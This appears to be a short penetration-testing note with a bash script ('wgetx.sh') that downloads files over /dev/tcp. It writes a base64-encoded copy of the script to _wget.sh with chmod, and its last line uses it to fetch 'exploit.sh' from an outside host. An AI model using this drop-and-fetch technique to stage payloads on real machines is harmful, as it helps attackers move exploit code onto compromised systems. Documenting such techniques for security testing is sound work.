wgetx.sh
wgetx.sh
: ${DEBUG:=0}
URL=$1
tag="Connection: close"
mark=0
if [ -z "${URL}" ]; then
printf "Usage: %s \"URL\" [e.g.: %s http://www.example.com/]" \
"${FUNCNAME[0]}" "${FUNCNAME[0]}"
return 1;
fi
read proto server path <<<$(echo ${URL//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
[[ $DEBUG -eq 1 ]] && echo "HOST=$HOST"
[[ $DEBUG -eq 1 ]] && echo "PORT=$PORT"
[[ $DEBUG -eq 1 ]] && echo "DOC =$DOC"
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.1\r\nHost: ${HOST}\r\n${tag}\r\n\r\n" >&3
while read line; do
[[ $mark -eq 1 ]] && echo $line
if [[ "${line}" =~ "${tag}" ]]; then
mark=1
fi
done <&3
exec 3>&-
echo "OiAke0RFQlVHOj0wfQpVUkw9JDEKdGFnPSJDb25uZWN0aW9uOiBjbG9zZSIKbWFyaz0wCgppZiBbIC16ICIke1VSTH0iIF07IHRoZW4KICAgIHByaW50ZiAiVXNhZ2U6ICVzIFwiVVJMXCIgW2UuZy46ICVzIGh0dHA6Ly93d3cuZXhhbXBsZS5jb20vXSIgXAogICAgICAgICAgICIke0ZVTkNOQU1FWzBdfSIgIiR7RlVOQ05BTUVbMF19IgogICAgcmV0dXJuIDE7CmZpCnJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8JChlY2hvICR7VVJMLy8vLyB9KQpET0M9LyR7cGF0aC8vIC8vfQpIT1NUPSR7c2VydmVyLy86Kn0KUE9SVD0ke3NlcnZlci8vKjp9CltbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCltbICRERUJVRyAtZXEgMSBdXSAmJiBlY2hvICJIT1NUPSRIT1NUIgpbWyAkREVCVUcgLWVxIDEgXV0gJiYgZWNobyAiUE9SVD0kUE9SVCIKW1sgJERFQlVHIC1lcSAxIF1dICYmIGVjaG8gIkRPQyA9JERPQyIKCmV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAplY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMVxyXG5Ib3N0OiAke0hPU1R9XHJcbiR7dGFnfVxyXG5cclxuIiA+JjMKd2hpbGUgcmVhZCBsaW5lOyBkbwogICAgW1sgJG1hcmsgLWVxIDEgXV0gJiYgZWNobyAkbGluZQogICAgaWYgW1sgIiR7bGluZX0iID1+ICIke3RhZ30iIF1dOyB0aGVuCiAgICAgICAgbWFyaz0xCiAgICBmaQpkb25lIDwmMwpleGVjIDM+Ji0=" | base64 --decode > _wget.sh && chmod +x _wget.sh
Run
_wget.sh michalszalkowski.com/exploit.sh > exploit.sh